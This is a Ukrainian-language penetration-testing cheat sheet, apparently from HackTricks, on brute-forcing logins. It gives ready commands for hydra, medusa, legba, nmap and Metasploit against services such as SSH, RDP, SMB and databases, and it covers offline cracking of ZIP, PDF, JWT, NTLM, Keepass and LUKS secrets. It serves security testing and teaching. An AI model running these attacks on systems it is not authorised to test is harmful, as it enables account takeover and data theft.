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# Brute Force - CheatSheet
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Використовуйте [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force ) для легкого створення та **автоматизації робочих процесів** , підтримуваних **найсучаснішими** інструментами спільноти.\
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Отримайте доступ сьогодні:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Вчіться та практикуйте GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
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< details >
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< summary > Підтримайте HackTricks< / summary >
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* Перевірте [**плани підписки** ](https://github.com/sponsors/carlospolop )!
* **Приєднуйтесь до** 💬 [**групи Discord** ](https://discord.gg/hRep4RUj7f ) а б о [**групи Telegram** ](https://t.me/peass ) а б о **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) та [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) репозиторіїв на GitHub.
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< / details >
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{% endhint %}
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## Default Credentials
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**Шукайте в Google** стандартні облікові дані технології, що використовується, а б о **спробуйте ці посилання** :
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* [**https://github.com/ihebski/DefaultCreds-cheat-sheet** ](https://github.com/ihebski/DefaultCreds-cheat-sheet )
* [**http://www.phenoelit.org/dpl/dpl.html** ](http://www.phenoelit.org/dpl/dpl.html )
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm** ](http://www.vulnerabilityassessment.co.uk/passwordsC.htm )
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/** ](https://192-168-1-1ip.mobi/default-router-passwords-list/ )
* [**https://datarecovery.com/rd/default-passwords/** ](https://datarecovery.com/rd/default-passwords/ )
* [**https://bizuns.com/default-passwords-list** ](https://bizuns.com/default-passwords-list )
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv** ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://www.cirt.net/passwords** ](https://www.cirt.net/passwords )
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* [**http://www.passwordsdatabase.com/** ](http://www.passwordsdatabase.com )
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* [**https://many-passwords.github.io/** ](https://many-passwords.github.io )
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* [**https://theinfocentric.com/** ](https://theinfocentric.com/ )
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## **Створіть свої власні словники**
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Знайдіть якомога більше інформації про ціль і створіть власний словник. Інструменти, які можуть допомогти:
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### Crunch
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```bash
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crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
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### Cewl
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```bash
cewl example.com -m 5 -w words.txt
```
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### [CUPP](https://github.com/Mebus/cupp)
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Генеруйте паролі на основі ваших знань про жертву (імена, дати...)
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```
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python3 cupp.py -h
```
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### [Wister](https://github.com/cycurity/wister)
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Інструмент генерації списків слів, який дозволяє вам надати набір слів, надаючи можливість створювати кілька варіацій з наданих слів, створюючи унікальний та ідеальний список слів для використання щодо конкретної цілі.
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```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
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__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____ |__ __ | ____ | __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __ | | _ /
\ /\ / _| |_ ____ ) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
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Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
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### [pydictor](https://github.com/LandGrey/pydictor)
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### Списки слів
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* [**https://github.com/danielmiessler/SecLists** ](https://github.com/danielmiessler/SecLists )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://github.com/kaonashi-passwords/Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi )
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* [**https://github.com/google/fuzzing/tree/master/dictionaries** ](https://github.com/google/fuzzing/tree/master/dictionaries )
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* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm** ](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm )
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* [**https://weakpass.com/wordlist/** ](https://weakpass.com/wordlist/ )
* [**https://wordlists.assetnote.io/** ](https://wordlists.assetnote.io/ )
* [**https://github.com/fssecur3/fuzzlists** ](https://github.com/fssecur3/fuzzlists )
* [**https://hashkiller.io/listmanager** ](https://hashkiller.io/listmanager )
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists** ](https://github.com/Karanxa/Bug-Bounty-Wordlists )
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Використовуйте [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force ) для легкого створення та **автоматизації робочих процесів** , підтримуваних **найсучаснішими** інструментами спільноти.\
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Отримайте доступ сьогодні:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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## Послуги
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Упорядковано в алфавітному порядку за назвою послуги.
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### AFP
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```bash
nmap -p 548 --script afp-brute < IP >
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE < PATH_PASSWDS >
msf> set USER_FILE < PATH_USERS >
msf> run
```
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### AJP
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```bash
nmap --script ajp-brute -p 8009 < IP >
```
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## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM та Solace)
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```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
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### Кассандра
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```bash
nmap --script cassandra-brute -p 9160 < IP >
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# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
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```
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### CouchDB
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```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
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### Docker Registry
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```
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
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```
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### Elasticsearch
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```
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
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```
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### FTP
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```bash
hydra -l root -P passwords.txt [-t 32] < IP > ftp
ncrack -p 21 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ftp
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legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
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```
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### HTTP Generic Brute
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#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
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### HTTP Basic Auth
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```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
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# Use https-get mode for https
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medusa -h < IP > -u < username > -P < passwords.txt > -M http -m DIR:/path/to/auth -T 10
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legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
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### HTTP - NTLM
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```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
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```
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### HTTP - Post Form
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```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^& password=^PASS^& enter=Sign+in:Login name or password is incorrect" -V
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# Use https-post-form mode for https
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```
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Для http**s** вам потрібно змінити з "http-post-form" на "**https-post-form"**
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### **HTTP - CMS --** (W)ordpress, (J)oomla а б о (D)rupal а б о (M)oodle
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```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
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# Check also https://github.com/evilsocket/legba/wiki/HTTP
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```
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### IMAP
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```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f < IP > imap -V
nmap -sV --script imap-brute -p < PORT > < IP >
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legba imap --username user --password data/passwords.txt --target localhost:993
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```
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### IRC
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```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p < PORT > < IP >
```
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### ISCSI
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```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 < IP >
```
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### JWT
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```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt < JWT token >
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
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### LDAP
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```bash
nmap --script ldap-brute -p 389 < IP >
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legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords .txt --ldap-domain example.org --single-match
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```
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### MQTT
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```
ncrack mqtt://127.0.0.1 --user test – P /root/Desktop/pass.txt -v
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legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
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```
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### Mongo
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```bash
nmap -sV --script mongodb-brute -n -p 27017 < IP >
use auxiliary/scanner/mongodb/mongodb_login
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legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
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### MSSQL
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```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
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```
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### MySQL
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```bash
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# hydra
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hydra -L usernames.txt -P pass.txt < IP > mysql
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# msfconsole
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msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
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# medusa
medusa -h < IP / Host > -u < username > -P < password_list > < -f | to stop medusa on first success attempt > -t < threads > -M mysql
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#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
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```
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### OracleSQL
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```bash
patator oracle_login sid=< SID > host=< IP > user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORT 1521
msf> set SID < SID >
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORTS 1521
msf> set SID < SID >
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#for some reason nmap fails sometimes when executing this script
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nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=< SID > < IP >
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legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
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```
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Щоб використовувати **oracle\_login** з **patator** , вам потрібно **встановити** :
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```bash
pip3 install cx_Oracle --upgrade
```
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[Офлайн OracleSQL хеш брутфорс ](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force ) (**версії 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** та **11.2.0.3** ):
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```bash
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nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
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```
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### POP
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```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f < IP > pop3 -V
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# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
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```
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### PostgreSQL
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```bash
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > postgres
medusa -h < IP > – U /root/Desktop/user.txt – P /root/Desktop/pass.txt – M postgres
ncrack – v – U /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > :5432
patator pgsql_login host=< IP > user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 < IP >
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legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
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```
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### PPTP
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Ви можете завантажити пакет `.deb` для встановлення з [https://http.kali.org/pool/main/t/thc-pptp-bruter/ ](https://http.kali.org/pool/main/t/thc-pptp-bruter/ )
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```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter – u < Username > < IP >
```
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### RDP
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```bash
ncrack -vv --user < User > -P pwds.txt rdp://< IP >
hydra -V -f -L < userslist > -P < passwlist > rdp://< IP >
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legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain < RDP_DOMAIN > ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
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```
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### Redis
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```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 < IP >
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hydra – P /path/pass.txt redis://< IP > :< PORT > # 6379 is the default
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legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
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```
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### Rexec
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```bash
hydra -l < username > -P < password_file > rexec://< Victim-IP > -v -V
```
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### Rlogin
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```bash
hydra -l < username > -P < password_file > rlogin://< Victim-IP > -v -V
```
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### Rsh
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```bash
hydra -L < Username_list > rsh://< Victim_IP > -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind ](http://pentestmonkey.net/tools/misc/rsh-grind )
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### Rsync
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```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 < IP >
```
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### RTSP
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```bash
hydra -l root -P passwords.txt < IP > rtsp
```
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### SFTP
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```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
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### SNMP
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```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute < target > [--script-args snmp-brute.communitiesdb=< wordlist > ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt < IP >
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
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### SMB
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```bash
nmap --script smb-brute -p 445 < IP >
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
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legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup < SMB_WORKGROUP > ] [--smb-share < SMB_SHARE > ]
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```
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### SMTP
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```bash
hydra -l < username > -P /path/to/passwords.txt < IP > smtp -V
hydra -l < username > -P /path/to/passwords.txt -s 587 < IP > -S -v -V #Port 587 for SMTP with SSL
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legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism < mech > ]
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```
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### SOCKS
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```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 < IP >
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legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
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### SQL Server
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```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > mssql
medusa -h < IP > – U /root/Desktop/user.txt – P /root/Desktop/pass.txt – M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts < host > #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
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```
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### SSH
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```bash
hydra -l root -P passwords.txt [-t 32] < IP > ssh
ncrack -p 22 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ssh
patator ssh_login host=< ip > port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
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legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
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```
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#### Слабкі SSH ключі / Передбачуваний PRNG Debian
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Деякі системи мають відомі недоліки в випадковому насінні, яке використовується для генерації криптографічного матеріалу. Це може призвести до значного зменшення простору ключів, який можна зламати за допомогою інструментів, таких як [snowdroppe/ssh-keybrute ](https://github.com/snowdroppe/ssh-keybrute ). Також доступні попередньо згенеровані набори слабких ключів, такі як [g0tmi1k/debian-ssh ](https://github.com/g0tmi1k/debian-ssh ).
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### STOMP (ActiveMQ, RabbitMQ, HornetQ та OpenMQ)
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Текстовий протокол STOMP є широко використовуваним протоколом обміну повідомленнями, який **дозволяє безперешкодну комунікацію та взаємодію з популярними сервісами черг повідомлень** такими як RabbitMQ, ActiveMQ, HornetQ та OpenMQ. Він забезпечує стандартизований та ефективний підхід до обміну повідомленнями та виконання різних операцій з повідомленнями.
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```bash
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legba stomp --target localhost:61613 --username admin --password data/passwords.txt
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```
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### Telnet
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```bash
hydra -l root -P passwords.txt [-t 32] < IP > telnet
ncrack -p 23 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M telnet
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legba telnet \
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--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
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```
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### VNC
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```bash
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt -s < PORT > < IP > vnc
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medusa -h < IP > – u root -P /root/Desktop/pass.txt – M vnc
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ncrack -V --user root -P /root/Desktop/pass.txt < IP > :>POR>T
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patator vnc_login host=< IP > password=FILE0 0=/root/Desktop/pass.txt – t 1 – x retry:fgep!='Authentication failure' --max-retries 0 – x quit:code=0
use auxiliary/scanner/vnc/vnc_login
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nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt < IP >
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legba vnc --target localhost:5901 --password data/passwords.txt
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#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS < ip >
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
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```
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### Winrm
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```bash
crackmapexec winrm < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
```
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Використовуйте [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force ) для легкого створення та **автоматизації робочих процесів** , підтримуваних **найсучаснішими** інструментами спільноти.\
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Отримайте доступ сьогодні:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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## Локально
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### Онлайн бази даних для злому
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* [~~http://hashtoolkit.com/reverse-hash?~~ ](http://hashtoolkit.com/reverse-hash? ) (MD5 & SHA1)
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* [https://shuck.sh/get-shucking.php ](https://shuck.sh/get-shucking.php ) (MSCHAPv2/PPTP-VPN/NetNTLMv1 з/без ESS/SSP та з будь-яким значенням виклику)
* [https://www.onlinehashcrack.com/ ](https://www.onlinehashcrack.com ) (Хеші, захоплення WPA2 та архіви MSOffice, ZIP, PDF...)
* [https://crackstation.net/ ](https://crackstation.net ) (Хеші)
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* [https://md5decrypt.net/ ](https://md5decrypt.net ) (MD5)
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* [https://gpuhash.me/ ](https://gpuhash.me ) (Хеші та хеші файлів)
* [https://hashes.org/search.php ](https://hashes.org/search.php ) (Хеші)
* [https://www.cmd5.org/ ](https://www.cmd5.org ) (Хеші)
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* [https://hashkiller.co.uk/Cracker ](https://hashkiller.co.uk/Cracker ) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html ](https://www.md5online.org/md5-decrypt.html ) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/ ](http://reverse-hash-lookup.online-domain-tools.com )
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Перевірте це перед спробою злому хешу.
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### ZIP
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```bash
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#sudo apt-get install fcrackzip
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fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
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```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
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#### Відомий атака на відкритий текст zip
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Вам потрібно знати **відкритий текст** (а б о частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, запустивши: ** `7z l encrypted.zip` **\
Завантажте [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0 )з сторінки релізів.
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```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C < encrypted.zip > -c < plaintext.file > -P < plaintext.zip > -p < plaintext.file >
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# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
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# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
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./bkcrack -C < encrypted.zip > -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
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unzip unlocked.zip #User new_pwd as password
```
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### 7z
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```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
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### PDF
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```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
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#pdf2john didn't work well, john didn't know which hash type was
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# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=< PASSWORD > --decrypt encrypted.pdf plaintext.pdf
```
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### PDF Owner Password
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Щоб зламати пароль власника PDF, перевірте це: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/ ](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/ )
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### JWT
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```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
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### NTLM cracking
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```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
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john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
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hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
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### Keepass
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```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
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keepass2john -k < file-password > file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
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john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
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### Keberoasting
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```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
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### Lucks image
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#### Метод 1
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Встановити: [https://github.com/glv2/bruteforce-luks ](https://github.com/glv2/bruteforce-luks )
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```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
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#### Метод 2
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```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
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hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
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cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
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Інший туторіал Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 ](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 )
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### Mysql
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```bash
#John hash format
< USERNAME > :$mysqlna$< CHALLENGE > *< RESPONSE >
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
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### PGP/GPG Приватний ключ
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```bash
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gpg2john private_pgp.key #This will generate the hash and save it in a file
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john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
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### Cisco
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< figure > < img src = "../.gitbook/assets/image (663).png" alt = "" > < figcaption > < / figcaption > < / figure >
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### DPAPI Master Key
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Використовуйте [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py ](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py ) і потім john
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### Open Office Pwd Protected Column
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Якщо у вас є файл xlsx з колонкою, захищеною паролем, ви можете зняти захист:
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* **Завантажте його на google drive** і пароль буде автоматично видалено
* Щоб **видалити** його **вручну** :
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```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
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# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
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# Remove that line and rezip the file
zip -r file.xls .
```
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### PFX Сертифікати
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```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
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# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
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```
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Використовуйте [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force ) для легкого створення та **автоматизації робочих процесів** , підтримуваних **найсучаснішими** інструментами спільноти.\
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Отримайте доступ сьогодні:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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## Інструменти
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**Приклади хешів:** [https://openwall.info/wiki/john/sample-hashes ](https://openwall.info/wiki/john/sample-hashes )
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### Ідентифікатор хешу
